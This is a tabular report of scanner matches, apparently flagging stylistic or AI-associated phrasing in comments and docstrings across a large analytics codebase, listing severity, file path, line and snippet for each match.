| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tools/infra-scripts/clitools/toolbox/pod.py | 124 | # Check if we should print an update | COMMENT |
| LOW | tools/hogli/src/hogli/manifest.py | 276 | # Check if any manifest command shares this prefix | COMMENT |
| LOW | tools/hogli/src/hogli/validate.py | 26 | # Check if executable and not a config file | COMMENT |
| LOW | tools/hogli-commands/hogli_commands/migrations.py | 929 | # Check if already cached | COMMENT |
| LOW | tools/hogli-commands/hogli_commands/doctor.py | 454 | # Check if cargo is available | COMMENT |
| LOW | tools/hogli-commands/hogli_commands/doctor.py | 831 | # Check if this is a workspace root or standalone package | COMMENT |
| LOW | tools/hogli-commands/hogli_commands/doctor.py | 1164 | # Check if the parent is a known process manager | COMMENT |
| LOW | tools/hogli-commands/hogli_commands/product/maturity.py | 449 | # Check if the facade is real (has function definitions, not re-exports) | COMMENT |
| LOW⚡ | products/demo/backend/logic/products/hedgebox/models.py | 380 | # Check if it's night | COMMENT |
| LOW⚡ | products/demo/backend/logic/products/hedgebox/models.py | 383 | # Check if it's 9 to 5 on a work day | COMMENT |
| LOW⚡ | products/demo/backend/logic/products/spikegpt/models.py | 111 | # Check if it's night | COMMENT |
| LOW⚡ | products/demo/backend/logic/products/spikegpt/models.py | 114 | # Check if it's 9 to 5 on a work day | COMMENT |
| LOW | products/slack_app/backend/api.py | 3679 | # Check if we own this context locally | COMMENT |
| LOW | …atch_exports/backend/temporal/backfill_batch_export.py | 996 | # Set timeout to a month for now, as unending backfills are an internal feature we are | COMMENT |
| LOW | …ackend/temporal/destinations/snowflake_batch_export.py | 744 | # Check if we've exceeded the timeout | COMMENT |
| LOW | …d/tests/temporal/destinations/snowflake/test_client.py | 87 | # Check if the query was actually cancelled/aborted in Snowflake | COMMENT |
| LOW | products/batch_exports/backend/api/batch_export.py | 987 | # Check if offset fields are in the request (for PATCH, distinguish between absent and None) | COMMENT |
| LOW | products/cdp/backend/tasks/hog_functions.py | 46 | # Check if this team references the cohort in its test_account_filters | COMMENT |
| LOW | products/cdp/backend/api/hog_function.py | 838 | # Check if backfill is already enabled | COMMENT |
| LOW | products/feature_flags/backend/flags_cache.py | 572 | # Check if evaluation_metadata is present in cached data. | COMMENT |
| LOW | products/feature_flags/backend/max_tools.py | 406 | # Check if any group has a rollout percentage | COMMENT |
| LOW | …s/feature_flags/backend/test/test_feature_flag_sync.py | 245 | # Set lock to prevent execution | COMMENT |
| LOW | …feature_flags/backend/api/organization_feature_flag.py | 288 | # Check if the user is allowed to edit the flag using new access control | COMMENT |
| LOW | …feature_flags/backend/api/organization_feature_flag.py | 467 | # Set method to PATCH for updates, POST for new creations | COMMENT |
| LOW | products/feature_flags/backend/api/feature_flag.py | 1594 | # Check if the referenced flag is active | COMMENT |
| LOW | products/feature_flags/backend/api/feature_flag.py | 1817 | # Check if flag is used in session replay settings | COMMENT |
| LOW | products/feature_flags/backend/api/feature_flag.py | 1857 | # Check if this flag depends on any disabled flags | COMMENT |
| LOW | products/feature_flags/backend/api/feature_flag.py | 4220 | # Check if user has editor or higher access to feature flags for this team | COMMENT |
| LOW | …hogql_queries/marketing_analytics_base_query_runner.py | 849 | # Check if this is an aggregated query (no GROUP BY) | COMMENT |
| LOW | …ogql_queries/marketing_analytics_table_query_runner.py | 82 | # Check if there are more results | COMMENT |
| LOW | …marketing_analytics/backend/hogql_queries/constants.py | 482 | # Check if it's a StrEnum (has __members__) | COMMENT |
| LOW | …marketing_analytics/backend/hogql_queries/constants.py | 674 | # Check if it's a base column | COMMENT |
| LOW | …marketing_analytics/backend/hogql_queries/constants.py | 681 | # Check if it's a conversion goal or cost per conversion | COMMENT |
| LOW | …ics/backend/hogql_queries/conversion_goal_processor.py | 2312 | # Check if this condition comes from action_to_expr (complex action conditions) | COMMENT |
| LOW | …eries/non_integrated_conversions_table_query_runner.py | 97 | # Check if there are more results | COMMENT |
| LOW | …ts/error_tracking/backend/logic/tools/search_issues.py | 203 | # Set searchQuery to empty string if None (matches dashboard behavior) | STRING |
| LOW | …dpoints/backend/tests/test_variable_materialization.py | 2300 | # Check if this row matches all variable values | COMMENT |
| LOW | products/endpoints/backend/logic/execution.py | 378 | # Check if materialized data is stale. Keyed on the version's freshness target, not | COMMENT |
| LOW | products/endpoints/backend/logic/execution.py | 389 | # Check if variables are valid for materialized execution | COMMENT |
| LOW | products/experiments/backend/experiment_service.py | 3167 | # Check if saved_metric assignment has changed | COMMENT |
| LOW | …ckend/hogql_queries/experiment_funnel_query_builder.py | 562 | # Check if any step is a data warehouse node | STRING |
| LOW | …ments/backend/hogql_queries/hogql_aggregation_utils.py | 57 | # Check if the expression is a function call | COMMENT |
| LOW | …backend/hogql_queries/experiment_mean_query_builder.py | 104 | # Check if this is a session property metric - use special CTE structure | STRING |
| LOW | …backend/hogql_queries/experiment_mean_query_builder.py | 165 | # Check if this is a session property metric - use different placeholders | STRING |
| LOW | …backend/hogql_queries/experiment_mean_query_builder.py | 254 | # Check if we need to apply winsorization (outlier handling) | STRING |
| LOW | …ts/experiments/backend/hogql_queries/error_handling.py | 90 | # Check if error is an instance of any of the registered types | COMMENT |
| LOW | …end/hogql_queries/experiment_exposures_query_runner.py | 293 | # Set limit to avoid being cut-off by the default 100 rows limit | COMMENT |
| LOW | …experiments/backend/hogql_queries/funnel_validation.py | 194 | # Check if there are any DW steps | COMMENT |
| LOW | products/experiments/backend/hogql_queries/utils.py | 528 | # Check if we can perform statistical analysis | COMMENT |
| LOW | products/experiments/backend/hogql_queries/utils.py | 631 | # Check if we can perform statistical analysis | COMMENT |
| LOW | …riments/backend/hogql_queries/funnels_statistics_v2.py | 183 | # Check if any variant has high enough probability | COMMENT |
| LOW | …xperiments/backend/hogql_queries/breakdown_injector.py | 124 | # Check if this is an unordered funnel (has exposures CTE with LEFT JOIN) | COMMENT |
| LOW | …ckend/hogql_queries/experiment_funnels_query_runner.py | 196 | # Check if "control" is present | COMMENT |
| LOW | …ckend/hogql_queries/experiment_funnels_query_runner.py | 203 | # Check if at least one of the test variants is present | COMMENT |
| LOW | …ments/backend/hogql_queries/experiment_query_runner.py | 211 | # Check if this is a data warehouse query | COMMENT |
| LOW | …ts/backend/hogql_queries/trends_statistics_v2_count.py | 148 | # Check if any variant has a high enough probability of being best | COMMENT |
| LOW | …ackend/hogql_queries/experiment_trends_query_runner.py | 387 | # Check if "control" is present | COMMENT |
| LOW | …ackend/hogql_queries/experiment_trends_query_runner.py | 393 | # Check if at least one of the test variants is present | COMMENT |
| LOW | …/experiments/backend/hogql_queries/base_query_utils.py | 123 | # Check if the source has a math type that indicates continuous values | COMMENT |
| LOW | …ckend/hogql_queries/trends_statistics_v2_continuous.py | 170 | # Check if any variant has a high enough probability of being best | COMMENT |
| 273 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …ng/logs-sampling.rate-limit-impact.integration.test.ts | 164 | // ~10× over the limit → a large share is dropped. We assert a robust floor rather than an | COMMENT |
| MEDIUM | nodejs/src/cdp/services/hogflows/hogflow-utils.ts | 115 | // rather than the compiled bytecode is robust to bytecode/version changes (no need to enumerate the | COMMENT |
| MEDIUM | nodejs/src/common/kafka/producer.ts | 156 | // NOTE: The MessageHeader type is super weird. Essentially you are passing in a record and it expects a str | COMMENT |
| MEDIUM | nodejs/src/logs/sampling/compile-rules.ts | 74 | // case at write time, but the ingestion path stays robust to legacy or hand-crafted rows. | COMMENT |
| LOW | tools/hogli/src/hogli/command_types.py | 243 | # If not relative to repo root, just return the name | COMMENT |
| LOW⚡ | …s/hogli-commands/hogli_commands/product_structure.yaml | 421 | __init__: false # just create the folder | CODE |
| LOW⚡ | …s/hogli-commands/hogli_commands/product_structure.yaml | 424 | __init__: false # just create the folder | CODE |
| LOW⚡ | …s/hogli-commands/hogli_commands/product_structure.yaml | 427 | __init__: false # just create the folder | CODE |
| LOW⚡ | …s/hogli-commands/hogli_commands/product_structure.yaml | 430 | __init__: false # just create the folder | CODE |
| LOW | …backend/temporal/destinations/redshift_batch_export.py | 268 | # as we have just set cursor_factory. | COMMENT |
| MEDIUM | …ests/temporal/destinations/databricks/test_workflow.py | 219 | """Reduce the poll interval for the Databricks client, in order to speed up the tests.""" | STRING |
| LOW | …/backend/tests/temporal/destinations/redshift/utils.py | 130 | # to determine if it is empty. If it is, we can just set the value to | COMMENT |
| MEDIUM | …ducts/batch_exports/backend/tests/temporal/utils/s3.py | 48 | # To facilitate comparison, we isoformat the dates. | COMMENT |
| LOW⚡ | products/cdp/backend/api/hog_function.py | 440 | # For non-transformation types, just create normally | COMMENT |
| LOW | products/feature_flags/backend/api/feature_flag.py | 1205 | # If we see this, just return the current filters | COMMENT |
| MEDIUM | …ytics/backend/management/commands/seed_mcp_sessions.py | 59 | # harness buckets (Claude Code, OpenAI Codex, Cursor, Claude.ai, VS Code). Weighted toward the | COMMENT |
| MEDIUM | …cts/mcp_analytics/backend/hogql_queries/tool_tables.py | 74 | # A per-row distinct-and-sorted list of resolved harness labels, collected from the | COMMENT |
| MEDIUM | …p_analytics/backend/hogql_queries/harness_breakdown.py | 70 | # The harness label and token are HogQL fragments from mcp_harness; parse them | COMMENT |
| MEDIUM | …ackend/hogql_queries/test_conversion_goal_processor.py | 108 | """Create comprehensive test data covering various scenarios""" | STRING |
| MEDIUM | products/tasks/backend/models.py | 590 | # `runtime_adapter` selects the harness (claude | codex) and the agent server derives | COMMENT |
| MEDIUM | …mporal/process_task/activities/relay_sandbox_events.py | 162 | # harness). Exit quietly — logger and Redis are already unusable here, | COMMENT |
| MEDIUM⚡ | products/tasks/backend/logic/stream/redis_stream.py | 589 | # transaction guards against can't happen under the test harness. | COMMENT |
| MEDIUM | products/tasks/backend/logic/services/docker_sandbox.py | 405 | # Opt-in bind-mount for local skills. Set by the eval harness so | COMMENT |
| MEDIUM | …ducts/data_warehouse/backend/models/test/test_table.py | 699 | # Assert this is a comprehensive list of all possible ClickHouse types | COMMENT |
| MEDIUM | products/endpoints/backend/tests/test_endpoint.py | 646 | """Test creating a endpoint with a comprehensive TrendsQuery containing many fields.""" | STRING |
| MEDIUM⚡ | products/experiments/backend/experiment_service.py | 2596 | # from the backend is already more robust (while not ideal). | COMMENT |
| LOW⚡ | …experiments/backend/test/test_recalculation_service.py | 227 | # and we just set query_to on the recalc above. | COMMENT |
| LOW⚡ | …riments/backend/test/test_metrics_recalculation_api.py | 137 | # and we just set query_to on the recalc above. | COMMENT |
| MEDIUM | products/experiments/backend/test/test_facade.py | 104 | """Test creating experiment with comprehensive field set.""" | STRING |
| MEDIUM | …ckend/hogql_queries/experiment_funnel_query_builder.py | 147 | # Use separate exposures CTE to leverage precomputed exposure cache when available. | STRING |
| LOW | …/experiments/backend/hogql_queries/base_query_utils.py | 458 | # Default to include all events selected, so we just set a large value here (3 years) | COMMENT |
| LOW | …ents/backend/hogql_queries/experiment_metric_values.py | 73 | # No conversion window limit - just return true since temporal filtering | COMMENT |
| MEDIUM | products/experiments/stats/bayesian/utils.py | 294 | # Use comprehensive shared validation | COMMENT |
| MEDIUM | products/signals/backend/views.py | 780 | # working against?") and by the agent harness to fan commit artefacts out to them. Uses the | COMMENT |
| MEDIUM | …ts/signals/backend/temporal/agentic/scout_scheduler.py | 27 | # Type-only: importing the harness runner at module load would close the cycle | COMMENT |
| MEDIUM | …/signals/backend/temporal/agentic/scout_coordinator.py | 192 | # harness-seeded rows the team hasn't edited, so a content change rolls out within one | COMMENT |
| MEDIUM | …/signals/backend/temporal/agentic/scout_coordinator.py | 217 | # on the scout's NEXT RUN for any harness-seeded row the team hasn't forked. What the | COMMENT |
| MEDIUM | …als/backend/custom_agent/examples/cookie_poem_agent.py | 15 | # Direct, no Temporal harness (useful for testing the agent locally) | STRING |
| MEDIUM | products/signals/backend/emission/jira_issues.py | 164 | # depends on the warehouse sync, so wrap in toString(...) + parseDateTimeBestEffort to be robust | COMMENT |
| MEDIUM | products/signals/backend/test/test_scout_coordinator.py | 111 | # Default to a canonical (harness-seeded) skill — the realistic case; pass seeded=False for a | COMMENT |
| MEDIUM | products/signals/backend/test/test_scout_harness.py | 174 | # project-profile harness tool, eliminating the discovery-burn the | COMMENT |
| MEDIUM | products/signals/backend/test/test_scout_harness.py | 178 | # The base prompt teaches the agent to call the harness MCP tools by name. | COMMENT |
| MEDIUM | products/signals/backend/test/test_scout_harness.py | 189 | # evolves its vocabulary in the scout loop; the harness only carries the nudge. | COMMENT |
| MEDIUM | products/signals/backend/test/test_scout_harness.py | 224 | # The two highest-leverage nudges the report channel adds: search the inbox | COMMENT |
| MEDIUM | products/signals/backend/test/test_scout_harness.py | 261 | # scout (harness-seeded row on an on-disk fleet name) must never see the | COMMENT |
| MEDIUM | …ducts/signals/backend/test/test_scout_harness_tools.py | 841 | # Flip the org gate that emit_signal() checks. Without the harness preflight, the | COMMENT |
| MEDIUM | …s/signals/backend/test/test_scout_harness_lazy_seed.py | 745 | # A harness-seeded row missing `canonical_hash` (only reachable for rows seeded before | COMMENT |
| MEDIUM⚡ | products/signals/backend/test/test_scout_harness_api.py | 677 | # is rejected, so authenticate with the scout-internal token like the harness does. | COMMENT |
| MEDIUM | products/signals/backend/test/test_scout_harness_api.py | 570 | # The harness preflight mirrors `emit_signal()`'s downstream gates: the org | COMMENT |
| MEDIUM | products/signals/backend/test/test_scout_harness_api.py | 1010 | # canonical scout; `signals-scout-my-fork` is a name the harness never ships. | COMMENT |
| MEDIUM | …ackend/management/commands/run_custom_agent_example.py | 14 | # Override the prompt, or run in-process without the Temporal harness | STRING |
| MEDIUM | …kend/management/commands/reset_signals_self_driving.py | 138 | # seeding harness. We partition by SET DIFFERENCE (all scout names minus seeded | COMMENT |
| MEDIUM | products/signals/backend/scout_report/persistence.py | 60 | # its own observations; this is a harness circuit breaker, mirroring `MAX_EVIDENCE_ENTRIES` on emit. | COMMENT |
| MEDIUM | products/signals/backend/scout_report/persistence.py | 144 | # can't corrupt a foreign team's `emitted_report_ids`. The harness tool already gates this with | COMMENT |
| MEDIUM | products/signals/backend/scout_harness/runner.py | 137 | # Creates rows for newly-shipped specialists, updates harness-seeded rows the team | COMMENT |
| MEDIUM | products/signals/backend/scout_harness/runner.py | 396 | # `signals_scout` is the harness's own scope posture: project reads + | COMMENT |
| MEDIUM | …ducts/signals/backend/scout_harness/config_registry.py | 184 | # always auto-enable. A scout is canonical iff it BOTH carries the harness `seeded_by` tag AND | COMMENT |
| MEDIUM⚡ | products/signals/backend/scout_harness/lazy_seed.py | 27 | # by the headless harness. Single source of truth, two distribution paths. | COMMENT |
| MEDIUM⚡ | products/signals/backend/scout_harness/lazy_seed.py | 31 | # names don't carry the `signals-scout-` prefix, so the harness glob, `register_missing_configs`, | COMMENT |
| MEDIUM⚡ | products/signals/backend/scout_harness/lazy_seed.py | 62 | # Stamped on `LLMSkill.metadata.seeded_by` for every harness-managed scout row. Its presence | COMMENT |
| 118 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | products/batch_exports/backend/service.py | 55 | Align a timestamp to the batch export's interval boundary. For batch exports, intervals can have an offset from the | STRING |
| HIGH | …oducts/batch_exports/backend/temporal/batch_exports.py | 270 | Iterate over Arrow batch records for a batch export. TODO: this can be removed once HTTP batch exports are migrated | STRING |
| HIGH | …oducts/batch_exports/backend/temporal/batch_exports.py | 371 | Return the start and end of an export's data interval. Args: interval: The interval of the BatchExport asso | STRING |
| HIGH | …ackend/temporal/destinations/snowflake_batch_export.py | 704 | Wrap Snowflake connector's polling API in a coroutine. This enables asynchronous execution of queries to releas | STRING |
| HIGH | …ckend/temporal/destinations/databricks_batch_export.py | 457 | Execute a query asynchronously and poll for results. This is useful for long running queries as it means we don | STRING |
| HIGH | …backend/temporal/destinations/bigquery_batch_export.py | 680 | Execute a query and wait for it to complete. Args: query: The query to execute. start_q | STRING |
| HIGH | products/batch_exports/backend/api/batch_export.py | 90 | Validate and parse a date/datetime input as a proper dt.datetime. If the interval is daily or weekly, we expect the | STRING |
| HIGH | products/experiments/backend/facade/api.py | 20 | Create a new experiment. Transactional safety is provided by ExperimentService.create_experiment. Args: | STRING |
| HIGH | …ments/backend/hogql_queries/hogql_aggregation_utils.py | 31 | Extract the aggregation function, inner expression, parameters, and distinct flag from a HogQL expression. Arg | STRING |
| HIGH | …ments/backend/hogql_queries/hogql_aggregation_utils.py | 103 | Build an aggregation function call AST node. Args: aggregation_function: The aggregation function name | STRING |
| HIGH | …cts/experiments/backend/hogql_queries/metric_source.py | 50 | Factory method to create MetricSourceInfo from any source type. This provides a uniform interface for | STRING |
| HIGH | …riments/backend/hogql_queries/funnels_statistics_v2.py | 21 | Calculate the win probabilities for each variant in an experiment using Bayesian analysis for funnel conversion | STRING |
| HIGH | …riments/backend/hogql_queries/funnels_statistics_v2.py | 145 | Determine if the experiment results are statistically significant using Bayesian analysis for funnel conversion | STRING |
| HIGH | …riments/backend/hogql_queries/funnels_statistics_v2.py | 203 | Calculate Bayesian credible intervals for conversion rates of each variant. This function computes the 95% cre | STRING |
| HIGH | …ts/backend/hogql_queries/trends_statistics_v2_count.py | 26 | Calculate the win probabilities for each variant in an experiment using Bayesian analysis. This function compu | STRING |
| HIGH | …ts/backend/hogql_queries/trends_statistics_v2_count.py | 103 | Determines if experiment results are statistically significant. This function evaluates whether any variant ca | STRING |
| HIGH | …ts/backend/hogql_queries/trends_statistics_v2_count.py | 168 | Calculate Bayesian credible intervals for each variant's rate using a Gamma-Poisson model. Credible intervals | STRING |
| HIGH | …ts/backend/hogql_queries/trends_statistics_v2_count.py | 234 | Calculates expected loss in count/rate using Gamma-Poisson conjugate prior. This implementation uses a Bayesia | STRING |
| HIGH | …periments/backend/hogql_queries/funnel_step_builder.py | 104 | Build step columns as constants for DW subquery. Used in UNION ALL queries where each subquery represe | STRING |
| HIGH | …ckend/hogql_queries/trends_statistics_v2_continuous.py | 30 | Calculate the win probabilities for each variant in an experiment using Bayesian analysis for continuous metric | STRING |
| HIGH | …ckend/hogql_queries/trends_statistics_v2_continuous.py | 190 | Calculate Bayesian credible intervals for each variant's mean value using a log-normal model. This function co | STRING |
| HIGH | products/experiments/stats/shared/cuped.py | 161 | Apply CUPED variance reduction to experiment statistics. This is the main public API. It computes the optimal regre | STRING |
| HIGH | products/experiments/stats/frequentist/utils.py | 16 | Calculate point estimate for treatment vs control comparison. Args: treatment_stat: Treatment group st | STRING |
| HIGH | products/experiments/stats/frequentist/method.py | 69 | Run statistical test comparing treatment vs control. Args: treatment_stat: Treatment group | STRING |
| HIGH | products/experiments/stats/bayesian/utils.py | 23 | Calculate effect size and its variance for Bayesian analysis. Args: treatment_stat: Treatment group st | STRING |
| HIGH | products/experiments/stats/bayesian/method.py | 119 | Run Bayesian statistical test comparing treatment vs control. Args: treatment_stat: Treatm | STRING |
| HIGH | products/experiments/stats/bayesian/tests.py | 154 | Run Bayesian t-test comparing treatment vs control. Args: treatment_stat: Treatment group | STRING |
| HIGH | products/experiments/stats/bayesian/tests.py | 246 | Run Bayesian test for proportion data using Normal approximation. Args: treatment_stat: Tr | STRING |
| HIGH | products/growth/dags/user_product_list.py | 26 | Download a list of emails from an S3 URL and return them as a set. Args: s3_url: S3 URL in format s3://buck | STRING |
| HIGH | products/cohorts/backend/models/cohort.py | 789 | Remove a user from the cohort by their UUID. This operation is idempotent - it succeeds even if the pe | STRING |
| HIGH | …ckend/temporal/data_imports/sources/hubspot/helpers.py | 123 | Fetch data from HUBSPOT endpoint using a specified API key and yield the properties of each result. For paginat | STRING |
| HIGH | …ckend/temporal/data_imports/sources/hubspot/helpers.py | 214 | Retrieve property names for a given entity from the HubSpot API. Args: entity: The entity name for whi | STRING |
| HIGH | products/ai_observability/backend/api/summarization.py | 245 | Extract entity ID and validated entity data based on summarize type. Args: summarize_type: 'trace' | STRING |
| HIGH | ee/hogai/artifacts/manager.py | 111 | Retrieve artifact content by ID from the database. Args: artifact_id: The artifact's short ID. | STRING |
| HIGH | ee/hogai/context/insight/query_executor.py | 168 | Run a query and format the results with detailed fallback information. Args: query: The qu | STRING |
| HIGH | ee/hogai/context/insight/query_executor.py | 248 | Run a query and format the results with detailed fallback information. Args: query: The qu | STRING |
| HIGH | ee/hogai/context/insight/query_executor.py | 295 | Execute a query and return the response dict. Args: query: The query object ex | STRING |
| HIGH | ee/hogai/context/insight/query_executor.py | 484 | Format query results using appropriate formatter based on query type. Args: query: The que | STRING |
| HIGH | ee/hogai/chat_agent/parallel_task_execution/nodes.py | 151 | Execute multiple tasks in parallel and yield results as they complete. This method implements true par | STRING |
| HIGH | ee/billing/queue/BillingConsumer.py | 86 | Decompress and parse message body based on content encoding. Args: raw_body: The raw messa | STRING |
| HIGH | …on/ingestion/acceptance_tests/test_ai_observability.py | 82 | Fetch blob data from S3 using the URL with range parameter. Args: s3_url: URL in format s3://bucket/key?ran | STRING |
| HIGH | common/migration_utils/__init__.py | 72 | Get the cache path for a migration file. Validates inputs before constructing path to prevent path traversal. | STRING |
| HIGH | common/migration_utils/__init__.py | 109 | Cache a migration file for later rollback. Creates the cache directory structure if needed and copies the migration | STRING |
| HIGH | posthog/email.py | 361 | Sanitizes properties that will be used in email templates to prevent HTML injection and to defang URL-shaped st | STRING |
| HIGH | posthog/temporal/proxy_service/cloudflare.py | 125 | Create a Custom Hostname in Cloudflare for SaaS. This creates a custom hostname with: - SSL certificate pr | STRING |
| HIGH | posthog/temporal/proxy_service/cloudflare.py | 158 | Get details of a Custom Hostname by ID. Args: hostname_id: The Cloudflare Custom Hostname ID Retu | STRING |
| HIGH | posthog/temporal/proxy_service/cloudflare.py | 182 | Find a Custom Hostname by domain name. Args: domain: The customer's domain (e.g., "analytics.customer. | STRING |
| HIGH | posthog/temporal/proxy_service/cloudflare.py | 208 | Delete a Custom Hostname. Args: hostname_id: The Cloudflare Custom Hostname ID Returns: T | STRING |
| HIGH | …mporal/ai_observability/trace_clustering/clustering.py | 39 | Determine optimal k using silhouette score and return the clustering results. Args: embeddings: Array | STRING |
| HIGH | posthog/clickhouse/client/migration_tools.py | 36 | Executes a SQL query on each node separately with specific options, handling distributed execution and node roles. | STRING |
| HIGH | posthog/dags/events_backfill_to_duckling.py | 766 | Parse a partition key into team_id and date. Args: key: Partition key in format "{team_id}_{date}" (e.g., " | STRING |
| HIGH | posthog/dags/events_backfill_to_duckling.py | 948 | Check if a table exists in the DuckLake catalog. Args: conn: psycopg connection to the org's duckgres serve | STRING |
| HIGH | posthog/dags/person_property_reconciliation.py | 1758 | Query ClickHouse for distinct team_ids with property-setting events in the bug window. Args: bug_windo | STRING |
| HIGH | posthog/tasks/process_scheduled_changes.py | 86 | Compute the next scheduled run time based on recurrence interval. Uses relativedelta for reliable date arithme | STRING |
| HIGH | posthog/tasks/alerts/detectors/registry.py | 27 | Factory function to create detector from config. Args: config: Detector configuration dict with 'type' | STRING |
| HIGH | posthog/models/person/point_in_time_properties.py | 33 | Helper function to get person object and all distinct_ids for a person based on either distinct_id or person_id. | STRING |
| HIGH | posthog/models/person/point_in_time_properties.py | 112 | Build person properties at a specific point in time from ClickHouse events. Args: team_id: The team ID | STRING |
| HIGH | posthog/api/capture.py | 562 | capture_batch_internal submits multiple capture request payloads to capture-rs on behalf of a customer team. T | STRING |
| HIGH | posthog/api/capture.py | 746 | capture_internal submits a single-event capture request payload to the capture-rs backend service. This is the | STRING |
| HIGH | posthog/api/authentication.py | 542 | Handle passkey-based 2FA authentication. Args: request: The HTTP request user: | STRING |
| 4 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tools/hogbox-preview/hogbox_preview/hogland_backend.py | 77 | CODE | |
| LOW | …ols/hogli-commands/hogli_commands/tests/test_devbox.py | 861 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/devbox/coder.py | 1202 | CODE | |
| LOW | products/metrics/backend/tests/_seeder.py | 46 | CODE | |
| LOW | products/metrics/backend/tests/_seeder.py | 108 | CODE | |
| LOW | …ducts/batch_exports/backend/temporal/temporary_file.py | 64 | CODE | |
| LOW | …ducts/batch_exports/backend/temporal/temporary_file.py | 643 | CODE | |
| LOW | products/batch_exports/backend/temporal/utils.py | 252 | CODE | |
| LOW | …nd/temporal/destinations/file_download_batch_export.py | 275 | CODE | |
| LOW | …backend/temporal/destinations/postgres_batch_export.py | 632 | CODE | |
| LOW | …ports/backend/temporal/destinations/s3_batch_export.py | 741 | CODE | |
| LOW | …backend/temporal/destinations/bigquery_batch_export.py | 1088 | CODE | |
| LOW | …/tests/temporal/destinations/base_destination_tests.py | 292 | CODE | |
| LOW | …xports/backend/tests/temporal/destinations/s3/utils.py | 174 | CODE | |
| LOW | …/tests/temporal/destinations/bigquery/test_activity.py | 56 | CODE | |
| LOW | …/backend/tests/temporal/destinations/bigquery/utils.py | 59 | CODE | |
| LOW | …s/temporal/destinations/snowflake/test_workflow_e2e.py | 46 | CODE | |
| LOW | …backend/tests/temporal/destinations/snowflake/utils.py | 367 | CODE | |
| LOW | …s/temporal/destinations/snowflake/test_activity_e2e.py | 48 | CODE | |
| LOW | …/tests/temporal/destinations/redshift/test_activity.py | 38 | CODE | |
| LOW | …s/temporal/destinations/redshift/test_copy_activity.py | 59 | CODE | |
| LOW | …/backend/tests/temporal/destinations/redshift/utils.py | 57 | CODE | |
| LOW | …/tests/temporal/destinations/postgres/test_activity.py | 38 | CODE | |
| LOW | …/batch_exports/backend/tests/temporal/utils/persons.py | 100 | CODE | |
| LOW | …tch_exports/backend/api/destination_tests/snowflake.py | 222 | CODE | |
| LOW | …tch_exports/backend/api/destination_tests/snowflake.py | 314 | CODE | |
| LOW | products/cdp/backend/api/test/test_hog_function.py | 1563 | CODE | |
| LOW | products/cdp/backend/api/test/test_hog_function.py | 1598 | CODE | |
| LOW | …oducts/mcp_analytics/backend/tests/test_tool_tables.py | 205 | CODE | |
| LOW | products/marketing_analytics/backend/test_max_tools.py | 81 | CODE | |
| LOW | products/marketing_analytics/backend/test_max_tools.py | 119 | CODE | |
| LOW | …hogql_queries/test/test_error_tracking_query_runner.py | 171 | CODE | |
| LOW | products/tasks/backend/models.py | 446 | CODE | |
| LOW | products/tasks/backend/models.py | 660 | CODE | |
| LOW | products/tasks/backend/models.py | 706 | CODE | |
| LOW | products/tasks/backend/logic/repo_selection/agent.py | 341 | CODE | |
| LOW | …kend/logic/services/custom_prompt_multi_turn_runner.py | 52 | CODE | |
| LOW | …kend/logic/services/custom_prompt_multi_turn_runner.py | 141 | CODE | |
| LOW | …ducts/tasks/backend/logic/services/living_artifacts.py | 149 | CODE | |
| LOW | products/tasks/backend/logic/services/sandbox.py | 163 | CODE | |
| LOW | products/tasks/backend/logic/services/sandbox.py | 301 | CODE | |
| LOW | products/tasks/backend/logic/services/modal_sandbox.py | 878 | CODE | |
| LOW | products/tasks/backend/logic/services/modal_sandbox.py | 996 | CODE | |
| LOW | products/tasks/backend/logic/services/docker_sandbox.py | 742 | CODE | |
| LOW | products/tasks/backend/logic/services/docker_sandbox.py | 831 | CODE | |
| LOW | products/tasks/backend/facade/api.py | 746 | CODE | |
| LOW | products/endpoints/backend/logic/execution.py | 142 | CODE | |
| LOW | products/experiments/backend/experiment_service.py | 828 | CODE | |
| LOW | products/experiments/backend/experiment_service.py | 3762 | CODE | |
| LOW | products/data_catalog/backend/logic/metrics.py | 191 | CODE | |
| LOW | products/signals/backend/scout_report/persistence.py | 98 | CODE | |
| LOW | products/signals/backend/report_generation/research.py | 629 | CODE | |
| LOW | …ueries/stickiness/test/test_stickiness_query_runner.py | 270 | CODE | |
| LOW | …cts/review_hog/backend/tests/test_temporal_workflow.py | 64 | CODE | |
| LOW | products/workflows/backend/api/message_assets.py | 188 | CODE | |
| LOW | …ucts/workflows/backend/api/test/test_message_assets.py | 18 | CODE | |
| LOW | …s/backend/api/test/test_hog_flow_invocation_results.py | 20 | CODE | |
| LOW | …ts/data_modeling/backend/logic/gitsync/model_parser.py | 194 | CODE | |
| LOW | products/cohorts/backend/models/cohort.py | 68 | CODE | |
| LOW | products/web_analytics/backend/max_tools.py | 256 | CODE | |
| 134 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | products/workflows/mcp/apps/EmailTemplateView.test.tsx | 46 | // AI-generated html must not be able to run scripts. | COMMENT |
| HIGH | products/exports/backend/models/subscription.py | 578 | # AI-generated summary sent in the delivery, when summary_enabled is on for the subscription. | COMMENT |
| HIGH | products/actions/backend/models/action.py | 58 | summary = models.TextField(blank=True, null=True, help_text="A summary of the action, generated by AI") | CODE |
| HIGH | …bservability/skills/exploring-llm-evaluations/SKILL.md | 98 | ### Step 2 — Get the AI-generated summary | COMMENT |
| HIGH⚡ | products/surveys/backend/models.py | 274 | # AI-generated headline summary | STRING |
| HIGH⚡ | products/surveys/backend/models.py | 278 | # AI-generated per-question summaries | STRING |
| HIGH⚡ | products/surveys/backend/models.py | 285 | # Used as the "original" label in the editor and as the source language for AI-generated translations. | STRING |
| HIGH | products/surveys/backend/api/survey.py | 250 | help_text="Editor field paths generated by AI and safe to highlight as draft content.", | CODE |
| HIGH | frontend/src/scenes/insights/insightDataLogic.tsx | 224 | // AI-generated link) have no default to compare against, so treat as changed | COMMENT |
| HIGH | …c/lib/components/HedgehogMode/HedgehogMode.stories.tsx | 20 | // NOTE: 100% generated by ChatGPT for fun! | COMMENT |
| HIGH | ee/api/test/test_subscription.py | 2090 | # row so they fall below the read level required to see AI-generated report content. | COMMENT |
| HIGH | .agents/skills/survey-sdk-audit/SKILL.md | 316 | _This issue was generated by Claude using the `/survey-sdk-audit` skill._ | CODE |
